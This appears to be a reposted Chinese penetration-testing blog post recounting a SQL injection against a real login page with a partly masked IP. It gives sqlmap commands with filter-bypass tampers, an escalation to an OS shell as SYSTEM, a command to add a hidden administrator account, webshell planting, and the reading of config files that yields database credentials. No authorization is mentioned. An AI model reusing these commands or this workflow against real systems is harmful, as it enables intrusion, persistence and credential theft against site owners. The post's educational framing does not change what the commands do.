记一次 SQL 注入简单 bypass

  • A+
所属分类:安全文章

文章版权归 reber 所有,未经允许禁止转载

0x00 存在 SQL 注入

总之是遇到一个站,登录的页面,数据包大致如下:

POST /jsweb/userlogin/UserLoginAction.aspx HTTP/1.1Host: 115.xxx.xxx.xxx:8042Content-Length: 47Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://115.xxx.xxx.xxx:8042Referer: http://115.xxx.xxx.xxx:8042/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: ASP.NET_SessionId=bxdzehxa5mvoco1fkrjlbqbtConnection: close
uname=admin*&pwd=dskfsdkf&valCode=1197&telphone=

其中验证码可以绕过,而登录名那里存在注入

记一次 SQL 注入简单 bypass

记一次 SQL 注入简单 bypass

使用 and 1=1、and 1=2 时,发现过滤了空格,用/**/代替

记一次 SQL 注入简单 bypass

记一次 SQL 注入简单 bypass

0x01 简单看一下

中间件是 IIS,存在 len 函数,确定为 SQLServer

记一次 SQL 注入简单 bypass

Order by 一下,看看能不能 union,发现有 10 列


记一次 SQL 注入简单 bypass尝试 union select


记一次 SQL 注入简单 bypass

admin 转换为 int 时出错,感觉好像能显示位,测试发现确实可以显示


记一次 SQL 注入简单 bypass

可以获取数据库版本,可以确定有 union 注入了


记一次 SQL 注入简单 bypass

0x02 sqlmap

sqlmap跑一下:sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment

记一次 SQL 注入简单 bypass

比较奇怪,手工的时候可以 union 的,先看看 boolean-based 获取数据吧

--current-db 倒是能获取到数据库名为 ExamDataP_2019,但是获取表名的时候就返回空了

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment -D ExamDataP_2019 --tables

记一次 SQL 注入简单 bypass

能判断出来有注入,手工测试 and 1=1 时可以,测试 union 也可以,看来确实有过滤

0x03 探测过滤

看看过滤了啥,union 比较快,就用 union、-v 5 看下 payload

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment --technique=U --current-db -v 5

直接拿最后一个 payload 测试下

记一次 SQL 注入简单 bypass

提示 98 附近有错误


记一次 SQL 注入简单 bypass

感觉像过滤了char之类的函数,char 移到显示位,测一下

发现有加号的时候出错,没有的时候就没问题,可能是处理加号了


记一次 SQL 注入简单 bypass

记一次 SQL 注入简单 bypass

移到显示位测了下,确实处理加号了,替换为空了


记一次 SQL 注入简单 bypass

0x04 tamper

去网上找了能替换加号的,没有找到相关信息,后来想着 sqlmap 的 tamper 会不会有,结果还真有


记一次 SQL 注入简单 bypass


有两个 tamper,一个是适用 2012 的,一个是 2008 的,我们这里的数据库是 08 的,用 plus2fnconcat.py 这个,可以判断出来数据库了

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment,plus2fnconcat --technique=U --current-db

记一次 SQL 注入简单 bypass

Emmmmm,可以获取数据库表,但是获取表的列名时依然不返回数据


记一次 SQL 注入简单 bypass

0x05 再次探测过滤

同样 -v 3 看 payload,然后测试


记一次 SQL 注入简单 bypass

有语法错误,估计又是那个被替换为空了,慢慢试。。。

看了下语句,涉及到的也就是 union、select、concat、cast、from、syscolumns、sysobjects、where、and 这些个可能被过滤的,union、select 没问题,前面测试过了,剩下的被处理的关键字感觉大概率是 from、and。。。。

记一次 SQL 注入简单 bypass

语法错误。。。应该就是 from 了。能报错,还是想法报错到显示位

emmmm,感觉好像没有哪里过滤。。。但就是有语法错误。。。


记一次 SQL 注入简单 bypass

网上查了下,其实前面的 from 出错是因为表的原因,from 1,没有 1 这个表,所以出错。。。。。

sqlserver 和 mysql 不一样,还是用的少。。。


记一次 SQL 注入简单 bypass

但是再次找个 pyaload 尝试依然有问题,不返回数据


记一次 SQL 注入简单 bypass

同样的语句本地测试是可以返回数据的,费解


记一次 SQL 注入简单 bypass

0x06 os-shell

实在没法了,--is-dba 为 True,直接 --os-shellsqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment,plus2fnconcat --os-shell

记一次 SQL 注入简单 bypass

emmmmmm,system,啥都不说了。。。。。


记一次 SQL 注入简单 bypass

看下端口


记一次 SQL 注入简单 bypass

添加用户不行,卡死,估计是被拦截了net user Guest1 Aa123456. /add & net localgroup administrators Guest1 /add & net user Guest1 /active:yes

记一次 SQL 注入简单 bypass

看了下 tasklist,有 360,先传个 shell 吧,方便后续渗透

找路径:dir /s /b e:"username.jpg"

记一次 SQL 注入简单 bypass

通过 echo 写 txt 判断路径,试了几个都不是,写中文路径提示不存在。。。。。


记一次 SQL 注入简单 bypass

本来网上查可以用 bat 写中文路径文件,用了 certutil、bitsadmin、powershell 都没有下载成功

看下有没有不是不包含中文的 web 路径:type C:WindowsSystem32inetsrvconfigapplicationHost.config

发现 80 端口路径为 c:inetpubwwwroot


记一次 SQL 注入简单 bypass

写一句话:


记一次 SQL 注入简单 bypass

访问后出错


记一次 SQL 注入简单 bypass

后续测试发现通过浏览器写中文名的话可以,创建了文件 9d.txt,证明网站路径就是 e:江xxxx网站JsWeb


记一次 SQL 注入简单 bypass

现在的话就知道了目标的绝对路径为 e:江xxxx网站JsWeb,同时目标的 80 端口的绝对路径为 c:inetpubwwwroot

PS: 由于当时有别的事,没有继续向下做,其实还可以数据库备份 shell 到网站目录,后续也见到了一个不会出现 “/” 应用程序中的服务错误的 webshell

0x07 找数据库信息

找 Web.config,dir /s /b e:"Web.config",type e:b2cexamweb.config获取到一个数据库用户名密码user id=kw;password=123456;


记一次 SQL 注入简单 bypass

记一次 SQL 注入简单 bypass

原文地址:http://wyb0.com/posts/2020/recording-a-injection-bypass/


记一次 SQL 注入简单 bypass
点分享
记一次 SQL 注入简单 bypass
点点赞
记一次 SQL 注入简单 bypass
点在

本文始发于微信公众号(重生信息安全):记一次 SQL 注入简单 bypass

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: